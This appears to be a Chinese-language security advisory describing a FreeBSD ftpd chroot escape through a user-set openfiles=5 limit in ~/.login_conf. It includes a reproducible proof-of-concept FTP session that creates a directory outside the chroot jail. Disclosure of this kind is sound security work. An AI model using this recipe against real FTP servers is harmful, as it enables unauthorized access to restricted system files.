FreeBSD ftpd ‘setusercontext()’远程特权提升漏洞

漏洞起因
设计错误
 
影响系统
FreeBSD ftpd
FreeBSD FreeBSD 5.0 .x
FreeBSD FreeBSD 5.0 -RELENG
FreeBSD FreeBSD 5.0 -RELEASE-p14
FreeBSD FreeBSD 5.0 alpha
FreeBSD FreeBSD 5.0
FreeBSD FreeBSD 7.0-STABLE
FreeBSD FreeBSD 7.0-RELEASE-p8
FreeBSD FreeBSD 7.0-RELEASE-p12
FreeBSD FreeBSD 7.0-RELEASE-p11
FreeBSD FreeBSD 7.0-RELEASE-p11
FreeBSD FreeBSD 7.0-RELEASE
FreeBSD FreeBSD 7.0 BETA4
FreeBSD FreeBSD 7.0 -RELENG
FreeBSD FreeBSD 7.0 -RELEASE-p9
FreeBSD FreeBSD 7.0 -PRERELEASE
FreeBSD FreeBSD 7.0
 
不受影响系统
 
危害
远程攻击者可以利用漏洞获得系统敏感信息或进行拒绝服务攻击。
 
攻击所需条件
攻击者必须访问FreeBSD。
 
漏洞信息
FreeBSD是一款开放源代码基于BSD的操作系统。
FreeBSD ‘ftpd’存在远程特权提升问题,远程攻击者可以利用漏洞突破chroot封锁获得系统敏感信息或进行拒绝服务攻击。
BSD传承的操作系统一般都包含用于设置用户上下文的函数,如 FreeBSD 5.0和7.0包含的setusercontext()函数:
  setusercontext(lc, pw, (uid_t)0,
  LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
  LOGIN_SETRESOURCES|LOGIN_SETUMASK);
  
其中LOGIN_SETRESOURCES这里是用户用于设置资源的参数。
其中系统手册中描述LOGIN_SETRESOURCES是基于系统登录类库中指定的值来为当前进程设置资源限制。通过是否使用-cur (soft limit)或-max (hard limit)后缀通过类功能标签来设置响应的资源。   
       cputime       RLIMIT_CPU
    filesize      RLIMIT_FSIZE
    datasize      RLIMIT_DATA
    stacksize     RLIMIT_STACK
    coredumpsize  RLIMIT_CORE
    memoryuse     RLIMIT_RSS
    memorylocked  RLIMIT_MEMLOCK
    maxproc       RLIMIT_NPROC
    openfiles     RLIMIT_NOFILE
    sbsize        RLIMIT_SBSIZE
    vmemoryuse    RLIMIT_VMEM
   
通过这些选项可设置~/.login_conf配置。攻击者可通过把openfiles设置为5就可以绕过ftpd.c中的chroot()限制,并访问受限系统文件内容。
 
测试方法
—snip—
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:\
  :openfiles=5:
%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220  FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can’t open passive connection: Too many open files.
425 Can’t open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
—snip—
 
厂商解决方案
目前没有解决方案提供:
http://www.freebsd.org/
 
漏洞提供者
Kingcope

发表评论?

0 条评论。

发表评论